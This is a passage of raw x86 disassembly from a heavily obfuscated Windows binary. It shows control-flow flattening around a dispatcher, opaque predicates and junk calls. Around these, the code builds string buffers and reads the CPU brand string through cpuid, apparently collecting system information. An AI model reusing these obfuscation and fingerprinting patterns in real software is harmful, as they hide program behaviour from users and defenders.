jmp 0x435c9f
mov dword [esi], 0xab8a5b55
jmp 0x435c9f
push dword [esi + 0x1e4]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x20]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xec], eax
mov eax, dword [esi + 0xec]
mov word [eax + 0x18], 0
mov dword [esi], 0xa0154fbc
jmp 0x435c9f
mov eax, dword [esi + 0x18c]
mov byte [eax], 0
push 0x14
push 0x471600
push dword [esi + 0xac]
call fcn.00443950
add esp, 0xc
mov dword [esi], 0x55e9cc84
jmp 0x435c9f
mov dword [esi], 0x850da2bb
jmp 0x435c9f
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xf4], eax
mov dword [esi], 0x9c15aef3
jmp 0x435c9f
mov eax, dword [esi + 0x80]
mov byte [eax + 2], 0
mov eax, dword [esi + 0x80]
movzx ecx, word [0x471534]
mov word [eax], cx
mov eax, 2
push eax
push 0x471536
push eax
push dword [esi + 0x80]
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x14c]
mov ecx, dword [esi + 0x80]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
push 1
push 0x8000
call fcn.0044e933
add esp, 8
mov dword [esi + 0x100], eax
mov dword [esi], 0xf0558411
jmp 0x435c9f
mov eax, dword [esi + 8]
add eax, 0xffffffdf
shr eax, 0xb
add eax, 0xffffffe3
imul ecx, eax, 0x396200
imul eax, eax
imul edx, eax, 0x827f
dec edx
shr ecx, 8
add ecx, 0xffffff65
mov dword [esi + 8], ecx
mov ecx, 0xd9df720d
cmp edx, eax
je 0x4389f4
mov ecx, 0x8a93974e
mov dword [esi], ecx
jmp 0x435c9f
mov ecx, dword [esi + 4]
mov eax, 0x147
add ecx, eax
mov dword [esi + 4], ecx
mov eax, 0xe38d4443
cmp ecx, 0xc1
jae 0x438a1a
mov eax, 0x7b829d7e
mov dword [esi], eax
jmp 0x435c9f
push 0xa
push dword [esi + 0x114]
push dword [esi + 0x1e8]
call fcn.0044d05c
add esp, 0xc
mov eax, dword [esi + 0x68]
sub esp, 0x20
mov eax, esp
mov dword [esi + 0xf0], eax
mov dword [esi], 0x3325a9b7
jmp 0x435c9f
mov eax, dword [esi + 0x158]
push dword [esi + 0x28]
push dword [esi + 0x104]
call eax
mov eax, dword [esi + 0x2c]
mov dword [esi], 0x58d7c070
jmp 0x435c9f
push dword [esi + 0x58]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xf8]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x190], eax
mov dword [esi], 0xe99d364
jmp 0x435c9f
mov ecx, dword [esi + 4]
shl ecx, 3
mov eax, 0x369d02bb
and ecx, 0xfffc0000
mov dword [esi + 4], ecx
je 0x438ac5
mov eax, 0xe38d4443
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 4]
lea edi, [eax + eax*2]
shl edi, 0xb
add edi, 0xffffff86
shr edi, 8
and edi, 0xfffffff0
mov dword [esi + 4], edi
push edi
push 0x1078
push 0x4e5a
push 0x2a54
call fcn.0043a770
add esp, 0x10
mov eax, 0x3d690808
cmp edi, 0x5c
jae 0x438b08
mov eax, 0xf884d28d
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0x88]
movzx ecx, word [0x47153c]
mov word [eax + 4], cx
mov ecx, dword [0x471538]
mov dword [eax], ecx
mov dword [esi], 0xd9df720d
jmp 0x435c9f
imul ecx, dword [esi + 4], 0x5e
add ecx, 0x274a
shr ecx, 0xa
and ecx, 0xfffffffe
mov dword [esi + 4], ecx
mov eax, 0x173755c
cmp ecx, 0xd2
jb 0x438b58
mov eax, 0xe112a8d8
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 4]
shr eax, 3
and eax, 0x1ffff000
add eax, 0x8d000
shr eax, 5
mov dword [esi + 4], eax
mov dword [esi], 0x5c26d242
jmp 0x435c9f
mov eax, dword [esi + 0x8c]
mov word [eax + 0x18], 0
mov dword [esi], 0x398a740e
jmp 0x435c9f
mov edi, dword [esi + 4]
mov eax, 0xaa
add edi, eax
mov eax, edi
shr eax, 7
mov dword [esi + 4], eax
push eax
call fcn.00435c88
add esp, 4
mov eax, 0x7b829d7e
cmp edi, 0x2500
jae 0x438bc4
mov eax, 0x8410c221
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 8]
shl eax, 4
and eax, 0x7fffff0
add eax, 0xffffffa7
mov dword [esi + 8], eax
mov dword [esi], 0x1896314a
jmp 0x435c9f
mov eax, dword [esi + 0x94]
movzx ecx, word [0x471556]
mov word [eax + 8], cx
mov ecx, dword [0x471552]
mov dword [eax + 4], ecx
mov ecx, dword [0x47154e]
mov dword [eax], ecx
push 6
push 0x471558
push 0xa
push dword [esi + 0x94]
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x94]
mov edx, dword [ecx + 7]
mov dword [eax + 7], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x34]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0x30]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0xf44ecfb2
jmp 0x435c9f
mov eax, dword [esi + 8]
mov ecx, 0xffffff2f
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4f61
dec edx
and eax, 0xffffff80
shl eax, 7
mov dword [esi + 8], eax
mov eax, 0x8eaab81d
cmp ecx, edx
je 0x438c8d
mov eax, 0xc790f37e
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0x174]
mov eax, dword [eax]
mov dword [esi + 0x178], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov dword [esi + 0x17c], eax
mov dword [esi], 0xa141c1ec
jmp 0x435c9f
mov eax, dword [esi + 0x150]
mov word [eax], 0
push 0x18
push 0x467b30
push dword [esi + 0x84]
call fcn.00443950
add esp, 0xc
push 7
push 0x467b48
push 0xc
push dword [esi + 0x84]
call fcn.0043a620
add esp, 0x10
push dword [esi + 0x84]
push 0xa2f80070
call fcn.0043e3a0
add esp, 8
mov dword [esi + 0x154], eax
mov dword [esi], 0xab04b21d
jmp 0x435c9f
imul eax, dword [esi + 4], 0x1dc00
add eax, 0xffa8259a
mov dword [esi + 4], eax
push eax
call fcn.00435c88
add esp, 4
call fcn.00407731
mov dword [esi], 0x19710da0
jmp 0x435c9f
imul eax, dword [esi + 8], 0x9d
add eax, 0xffffff1e
mov ecx, eax
shr ecx, 9
imul eax, eax
imul edx, eax, 0x17a9
dec edx
imul ecx, ecx, 0xdc
add ecx, 0xffffdb0c
mov dword [esi + 8], ecx
mov ecx, 0xb749251a
cmp edx, eax
je 0x438d73
mov ecx, 0x44c10536
mov dword [esi], ecx
jmp 0x435c9f
mov eax, dword [esi + 4]
lea ecx, [eax + eax*8]
lea ecx, [eax + ecx*4]
add ecx, 0xffffffc5
mov dword [esi + 4], ecx
mov eax, 0xd1dcb68d
cmp ecx, 0xcb
jge 0x438d9b
mov eax, 0xfee0ed44
mov dword [esi], eax
jmp 0x435c9f
mov dword [esi], 0x1f54ac28
jmp 0x435c9f
mov eax, dword [esi + 0x44]
mov dword [esi], 0x80002f72
jmp 0x435c9f
imul edi, dword [esi + 4], 0x114000
mov dword [esi + 4], edi
push 0x3842
push 0x3e3b
push edi
call fcn.00426156
add esp, 0xc
push 0x5e3e
push edi
push 0x5d43
call fcn.00426156
add esp, 0xc
mov eax, 0x411b18cb
test edi, edi
je 0x438df9
mov eax, 0x323e6350
mov dword [esi], eax
jmp 0x435c9f
mov edi, dword [esi + 4]
mov eax, 0xe2
add edi, eax
mov ebx, edi
shr ebx, 7
mov dword [esi + 4], ebx
push ebx
call fcn.00435c88
add esp, 4
push ebx
push 0xd5b
push 0x2f9a
push 0x26df
call fcn.0043a620
add esp, 0x10
mov eax, 0x5ab416d0
cmp edi, 0x4900
jb 0x438e45
mov eax, 0xa2b8fef
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0x194]
mov word [eax], pe_nt_image_headers32
mov dword [esi], 0x2f07c3be
jmp 0x435c9f
mov dword [esi], 0xf562b189
jmp 0x435c9f
mov edi, dword [esi + 4]
shr edi, 2
and edi, 0x7ffff
add edi, 0xffffffd3
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
push 0x249b
push edi
push 0x4308
push 0x1a8e
call fcn.0043a770
add esp, 0x10
mov eax, 0xd9df720d
cmp edi, 0xf9
jb 0x438eb2
mov eax, 0xaff9186a
mov dword [esi], eax
jmp 0x435c9f
mov dword [esi], 0xa645f8e4
jmp 0x435c9f
mov eax, dword [esi + 8]
shl eax, 7
or eax, 0x61
imul eax, eax, 0xdb
add eax, 0xffffffef
mov dword [esi + 8], eax
mov dword [esi], 0x2e8f3ae5
jmp 0x435c9f
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x1a8], eax
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x1ac], eax
mov dword [esi], 0x1078dc1c
jmp 0x435c9f
push 1
push 0xa
call fcn.0044e933
add esp, 8
mov dword [esi + 0x114], eax
mov dword [esi], 0x43745cb4
jmp 0x435c9f
mov eax, dword [esi + 0x5c]
mov ecx, dword [esi + 0xb4]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi], 0xe2fec062
jmp 0x435c9f
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x19c]
mov word [eax + ecx], 0xa
mov dword [esi], 0x4f3bd559
jmp 0x435c9f
mov eax, dword [esi + 8]
lea ecx, [eax - 0x51]
imul ecx, ecx
imul edx, ecx, 0x3dd
add eax, 0xffffff2e
dec edx
mov dword [esi + 8], eax
mov eax, 0x84554dd1
cmp edx, ecx
je 0x438fb2
mov eax, 0xba19f14a
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0x118]
mov ecx, dword [esi + 0x11c]
mov dword [esi + 0x1e8], eax
mov dword [esi], 0x2ba63e6d
jmp 0x435c9f
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x44], eax
mov dword [esi], 0xe57461c3
jmp 0x435c9f
mov eax, dword [esi + 0x74]
mov byte [eax + 0xf], 0
mov dword [esi], 0xd914716f
jmp 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0x12
mov dword [esi + 4], edi
push 0x4ddc
push 0x2655
push edi
call fcn.00426156
add esp, 0xc
push 0x23b9
push edi
push 0x53e7
push 0x5454
call fcn.0043a770
add esp, 0x10
mov eax, 0xf18aa5e7
test edi, edi
je 0x43903e
mov eax, 0xf81480c8
mov dword [esi], eax
jmp 0x435c9f
mov edi, 0xf
push edi
push 0x4714fc
push dword [esi + 0x74]
call fcn.00443950
add esp, 0xc
push 4
push 0x47150b
push edi
push dword [esi + 0x74]
call fcn.0043a770
add esp, 0x10
mov eax, dword [esi + 0x130]
mov ecx, dword [esi + 0x74]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x134], eax
mov dword [esi], 0x6f32ba4
jmp 0x435c9f
mov eax, dword [esi + 0x1cc]
mov ecx, dword [esi + 0x1d8]
mov dword [ecx], eax
mov dword [esi], 0x12952900
jmp 0x435c9f
mov eax, dword [esi + 4]
add eax, eax
add eax, 0xfffff400
and eax, 0xffffffe0
imul edi, eax, 0xb48d
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
mov eax, 0x1171bc90
cmp edi, 0x28
jl 0x4390f3
mov eax, 0xb66cf8ed
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0xac]
add eax, 0x14
mov dword [esi + 0x18c], eax
mov dword [esi], 0xa934331e
jmp 0x435c9f
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1d4]
mov dword [eax + 0x2c], ecx
mov eax, dword [esi + 0x60]
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xe8], eax
mov dword [esi], 0xe910e548
jmp 0x435c9f
mov eax, dword [esi + 8]
add eax, 0xffffffd0
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1a01
dec edx
mov eax, 0x18d9f315
cmp edx, ecx
je 0x43915d
mov eax, 0x35ce95f3
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe4]
mov dword [esi + 0x1d4], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c8]
mov dword [eax + 0x20], ecx
mov eax, dword [esi + 0x10]
add eax, 0x24
mov dword [esi + 0x1d8], eax
mov dword [esi], 0x2b60bfed
jmp 0x435c9f
imul edi, dword [esi + 4], 0x1a200
add edi, 0x901880
mov dword [esi + 4], edi
call fcn.00407731
push 0x2745
push edi
push 0x4677
push 0x8c8
call fcn.0043a770
add esp, 0x10
mov eax, 0x8410c221
cmp edi, 0x43
jl 0x4391e1
mov eax, 0xacd3253b
mov dword [esi], eax
jmp 0x435c9f
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x98], eax
mov eax, dword [esi + 0x98]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0x98]
mov cl, byte [0x47156a]
mov byte [eax + 0xc], cl
mov ecx, dword [0x471566]
mov dword [eax + 8], ecx
mov ecx, dword [0x471562]
mov dword [eax + 4], ecx
mov ecx, dword [0x47155e]
mov dword [eax], ecx
mov dword [esi], 0x87978f14
jmp 0x435c9f
mov edi, dword [esi + 4]
shl edi, 0xb
add edi, 0x7c000
mov eax, edi
shr eax, 0xe
mov dword [esi + 4], eax
call fcn.00407731
mov eax, 0xbde0d5d0
cmp edi, 0xf8000
jae 0x43925d
mov eax, 0xd562ff25
mov dword [esi], eax
jmp 0x435c9f
imul eax, dword [esi + 8], 0x479a
add eax, 0xffffff75
mov dword [esi + 8], eax
mov dword [esi], 0xb92cdf6
jmp 0x435c9f
mov dword [esi], 0x1adb96c9
jmp 0x435c9f
imul eax, dword [esi + 8], 0x6e
add eax, 0xffffff41
shr eax, 0xc
imul eax, eax, 0x62
shr eax, 0x13
mov dword [esi + 8], eax
mov dword [esi], 0xb3955f7b
jmp 0x435c9f
mov eax, dword [esi + 4]
shl eax, 0x12
and eax, 0x3ffc0000
or eax, 0x540
mov dword [esi + 4], eax
push 0x22c3
push 0x5cb6
push 0x3ca5
push eax
call fcn.0043a620
add esp, 0x10
mov dword [esi], 0xc0cd4a34
jmp 0x435c9f
mov eax, dword [esi + 4]
shr eax, 1
and eax, 0x7ffffe00
imul edi, eax, 0xbd
add edi, 0xffff7b1c
mov eax, edi
shr eax, 9
mov dword [esi + 4], eax
push eax
push 0x460f
push 0x4bbd
call fcn.00426156
add esp, 0xc
mov eax, 0x154e76aa
cmp edi, 0xba00
jae 0x439322
mov eax, 0xe38d4443
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 8]
shl eax, 7
and eax, 0x7fffff80
or eax, 0x19
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
mov dword [esi + 8], eax
mov dword [esi], 0x3825f49b
jmp 0x435c9f
imul edi, dword [esi + 4], 0x26e4f4
mov dword [esi + 4], edi
push 0x1ad0
push 0x4df8
push edi
call fcn.00426156
add esp, 0xc
mov eax, 0xede0b7b1
cmp edi, 0xe5
jl 0x43937a
mov eax, 0x31419f4
mov dword [esi], eax
jmp 0x435c9f
mov dword [esi], 0xbd121001
jmp 0x435c9f
mov eax, dword [esi + 8]
lea eax, [eax*4 - 0xae]
shr eax, 0xe
mov dword [esi + 8], eax
mov dword [esi], 0x229630c
jmp 0x435c9f
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x95]
imul eax, eax
imul edx, eax, 0x38d7
dec edx
imul ecx, ecx, 0x4c0
add ecx, 0xfffc1a80
mov dword [esi + 8], ecx
mov ecx, 0x6c7ffcc
cmp eax, edx
je 0x4393d7
mov ecx, 0x5c26d242
mov dword [esi], ecx
jmp 0x435c9f
mov ecx, dword [esi + 4]
mov eax, ecx
shr eax, 4
add eax, 0xffffff8c
mov dword [esi + 4], eax
mov eax, 0x4fabe3a2
cmp ecx, 0xe40
jb 0x4393fe
mov eax, 0x6f32ba4
mov dword [esi], eax
jmp 0x435c9f
push 1
push 0x41
call fcn.0044e933
add esp, 8
mov dword [esi + 0x10], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xb8], eax
mov dword [esi + 0xbc], ebx
mov dword [esi + 0xc0], ecx
mov dword [esi + 0xc4], edx
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov dword [esi + 0x1a0], eax
mov dword [esi], 0xa4597235
jmp 0x435c9f
mov eax, dword [esi + 4]
shl eax, 9
add eax, 0xfffe9600
mov dword [esi + 4], eax
mov dword [esi], 0xf33e381b
jmp 0x435c9f
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 5
lea ecx, [ecx + eax*2]
add ecx, 0xffffeede
mov dword [esi + 4], ecx
mov eax, 0x65cb1f62
cmp ecx, 0x87
jge 0x43949d
mov eax, 0x5c26d242
mov dword [esi], eax
jmp 0x435c9f
imul edi, dword [esi + 4], 0xca00
mov ebx, edi
shr ebx, 3
mov dword [esi + 4], ebx
push 0x2647
push ebx
push 0x5af9
call fcn.00426156
add esp, 0xc
push 0x193a
push 0x4804
push 0x546d
push ebx
call fcn.0043a620
add esp, 0x10
mov eax, 0xd562ff25
test edi, edi
je 0x4394ec
mov eax, 0x7f31619f
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 4]
shr eax, 5
imul ecx, eax, 0x46
add ecx, 0xffffff6c
mov dword [esi + 4], ecx
mov eax, 0x87978f14
cmp ecx, 0xc2
jl 0x439517
mov eax, 0x719fe0ff
mov dword [esi], eax
jmp 0x435c9f
imul eax, dword [esi + 8], 0xd94a
add eax, 0xffffffd6
mov dword [esi + 8], eax
mov dword [esi], 0xad5b1702
jmp 0x435c9f
imul eax, dword [esi + 8], 0x3c76
add eax, 0x813e
mov dword [esi + 8], eax
mov dword [esi], 0xaff9186a
jmp 0x435c9f
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x19c], eax
mov dword [esi], 0xed1b63f6
jmp 0x435c9f
mov eax, dword [esi + 0x9c]
mov byte [eax + 0x1b], 0
mov edi, 0x1b
push edi
push 0x471570
push dword [esi + 0x9c]
call fcn.00443950
add esp, 0xc
push 8
push 0x47158b
push edi
push dword [esi + 0x9c]
call fcn.0043a770
add esp, 0x10
push 0x1c
push dword [esi + 0x9c]
push dword [esi + 0x44]
call fcn.00443950
add esp, 0xc
push dword [esi + 0x44]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0x40]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x48]
mov dword [esi], 0x673f437d
jmp 0x435c9f
imul eax, dword [esi + 8], 0x8c00
shr eax, 7
mov dword [esi + 8], eax
mov dword [esi], 0x486cf2cd
jmp 0x435c9f
mov eax, dword [esi + 0x50]
mov ecx, dword [esi + 0xa8]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x50]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0x108]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x184], eax
mov dword [esi], 0x114320ae
jmp 0x435c9f
push dword [esi + 0x38]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov dword [esi + 0x164], eax
mov dword [esi], 0x2e3110c5
jmp 0x435c9f
push dword [esi + 0xc]
call fcn.0044fb70
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
push 2
push 0x55
call fcn.0044e933
add esp, 8
mov dword [esi + 0x10c], eax
mov dword [esi], 0xd7b4c8d6
jmp 0x435c9f
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x20], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
mov dword [esi], 0x524f7fc6
jmp 0x435c9f
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x18]
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
mov dword [esi], 0xbb71be43
jmp 0x435c9f
mov eax, dword [esi + 0x16c]
mov eax, dword [eax*4 + 0x4714c0]
mov dword [esi + 0x180], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa4], eax
mov dword [esi], 0x99c5c021
jmp 0x435c9f
mov eax, dword [esi + 8]
add eax, 0xffffffbb
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x3fc9
dec edx
shl eax, 5
and eax, 0xffffc000
or eax, 0xab
mov dword [esi + 8], eax
mov eax, 0xf884d28d
cmp ecx, edx
je 0x43975d
mov eax, 0xcb0fbf0
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0x1e0]
mov word [eax], 0xa
mov eax, dword [esi + 0x1c]
mov dword [esi], 0xe2f223ef
jmp 0x435c9f
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi], 0x94fbdada
jmp 0x435c9f
mov dword [esi], 0x2a06db1b
jmp 0x435c9f
mov edi, dword [esi + 4]
shr edi, 0xf
add edi, 0x7e
mov dword [esi + 4], edi
call fcn.00407731
mov eax, 0x114320ae
cmp edi, 0xe4
je 0x4397c2
mov eax, 0x87978f14
mov dword [esi], eax
jmp 0x435c9f
push eax
mov eax, esp
mov dword [esi + 0x28], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x2c], eax
mov dword [esi], 0x41e179c3
jmp 0x435c9f
mov eax, dword [esi + 4]
shl eax, 0xb
add eax, 0xffffff04
shr eax, 0x12
mov edi, 0xff0f7585
and eax, 0x3e00
mov dword [esi + 4], eax
je 0x439804
mov edi, 0xf3a760c
push 0x29fb
push 0x182a
push 0x539e
push eax
call fcn.0043a770
add esp, 0x10
mov dword [esi], edi
jmp 0x435c9f
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x14]
mov dword [esi], 0xe112a8d8
jmp 0x435c9f
mov ecx, dword [esi + 4]
add ecx, 0x4d
shr ecx, 4
add ecx, 0xffffffac
mov dword [esi + 4], ecx
mov eax, 0xed1b63f6
cmp ecx, 0x8c
jb 0x439855
mov eax, 0x44c10536
mov dword [esi], eax
jmp 0x435c9f
imul eax, dword [esi + 8], 0x7f000000
add eax, 0xffffff74
mov dword [esi + 8], eax
mov dword [esi], 0x1d8ef52a
jmp 0x435c9f
imul edi, dword [esi + 4], 0xd1
mov eax, edi
shr eax, 7
add eax, 0xfffffe50
mov dword [esi + 4], eax
push 0x88e
push eax
push 0x22a6
push 0x1aa0
call fcn.0043a620
add esp, 0x10
mov eax, 0xe6fb631d
cmp edi, 0x10780
jb 0x4398b4
mov eax, 0x996aa53e
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0x1c]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.00444450
add esp, 0xc
mov eax, dword [esi + 0x1c]
mov dword [eax], 0x1a8
mov dword [esi], 0x9846d7b
jmp 0x435c9f
push dword [esi + 0x68]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
push dword [esi + 0x114]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov eax, dword [esi + 0x6c]
mov eax, dword [esi + 0x6c]
mov dword [eax], 0xa424d
push dword [esi + 0x6c]
push dword [esi + 0xc]
call fcn.0044f990
add esp, 8
mov dword [esi], 0x9d4ee772
jmp 0x435c9f
mov eax, dword [esi + 8]
shr eax, 4
imul eax, eax, 0xf18
mov dword [esi + 8], eax
mov dword [esi], 0xd426a01b
jmp 0x435c9f
mov eax, dword [esi + 0x160]
mov word [eax], 0xa
mov eax, dword [esi + 0x38]
mov dword [esi], 0xeb1fd2bb
jmp 0x435c9f
mov edi, dword [esi + 4]
add edi, 0xffffff8b
mov eax, edi
shr eax, 9
mov dword [esi + 4], eax
push 0x41e0
push eax
push 0xa33
call fcn.00426156
add esp, 0xc
mov eax, 0x3d690808
cmp edi, 0xce00
jae 0x43998f
mov eax, 0xa87d953
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0x28]
mov dword [esi], 0xbd4ff6ac
jmp 0x435c9f
imul eax, dword [esi + 8], 0x1480
add eax, 0x9ee00
shr eax, 0xf
mov dword [esi + 8], eax
mov dword [esi], 0xd562ff25
jmp 0x435c9f
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x164]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x40]
mov dword [esi], 0x475d0cae
jmp 0x435c9f
mov eax, dword [esi + 0x70]
mov dword [esi], 0x9858f92c
jmp 0x435c9f
imul eax, dword [esi + 4], 0x5e00
add eax, 0xffffeab4
mov dword [esi + 4], eax
push eax
call fcn.00435c88
add esp, 4
mov dword [esi], 0xc790f37e
jmp 0x435c9f
imul ecx, dword [esi + 4], 0x2684
add ecx, 0x17
mov dword [esi + 4], ecx
mov eax, 0x8410c221
cmp ecx, 0xe4
jae 0x439a2e
mov eax, 0xede0b7b1
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 8]
lea ecx, [eax - 0xc9]
imul ecx, ecx
imul edx, ecx, 0x5d53
add eax, 0xfffffe0a
dec edx
mov dword [esi + 8], eax
mov eax, 0x154e76aa
cmp ecx, edx
je 0x439a5e
mov eax, 0x8e6e61a8
mov dword [esi], eax
jmp 0x435c9f
mov dword [esi], 0x516304b9
jmp 0x435c9f
imul edi, dword [esi + 4], 0xd1
add edi, 0xffffffe8
mov dword [esi + 4], edi
push edi
call fcn.00435c88
add esp, 4
mov eax, 0x1401a1cc
cmp edi, 0x3a
jae 0x439a95
mov eax, 0x5c26d242
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 6
lea edi, [ecx + eax*2]
add edi, 0xffff9d84
mov dword [esi + 4], edi
push edi
push 0xa62
push 0x5dc2
call fcn.00426156
add esp, 0xc
push 0x4e01
push 0x6339
push edi
call fcn.00426156
add esp, 0xc
mov eax, 0xe112a8d8
cmp edi, 0xbb
jl 0x439ae8
mov eax, 0x1adb96c9
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 8]
imul ecx, eax, 0x8b
imul ecx, ecx
imul edx, ecx, 0x81e1
dec edx
imul eax, eax, 0x458000
mov dword [esi + 8], eax
mov eax, 0xf884d28d
cmp ecx, edx
je 0x439b19
mov eax, 0xeb070364
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0xb4]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xb4]
mov ecx, dword [0x471623]
mov dword [eax + 8], ecx
mov ecx, dword [0x47161f]
mov dword [eax + 4], ecx
mov ecx, dword [0x47161b]
mov dword [eax], ecx
push 7
push 0x471627
push 0xc
push dword [esi + 0xb4]
call fcn.0043a770
add esp, 0x10
mov dword [esi], 0x366a8f86
jmp 0x435c9f
imul edi, dword [esi + 4], 0xc400000
mov ebx, edi
shr ebx, 0xc
mov dword [esi + 4], ebx
call fcn.00407731
push 0x184d
push 0x4a19
push 0xe63
push ebx
call fcn.0043a770
add esp, 0x10
mov eax, 0x2cb551f6
test edi, edi
je 0x439ba6
mov eax, 0x1fcf7e4a
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x15c]
mov word [eax + ecx], 0xa
mov dword [esi], 0x4d3b7e04
jmp 0x435c9f
mov eax, dword [esi + 8]
add eax, 0xffffffd1
mov ecx, eax
shr ecx, 3
imul ecx, ecx
imul edx, ecx, 0x418d
shr eax, 0xd
dec edx
mov dword [esi + 8], eax
mov eax, 0x7d607d0
cmp edx, ecx
je 0x439bf0
mov eax, 0x82fc375f
mov dword [esi], eax
jmp 0x435c9f
mov eax, dword [esi + 8]
mov ecx, 0x8c
add eax, ecx
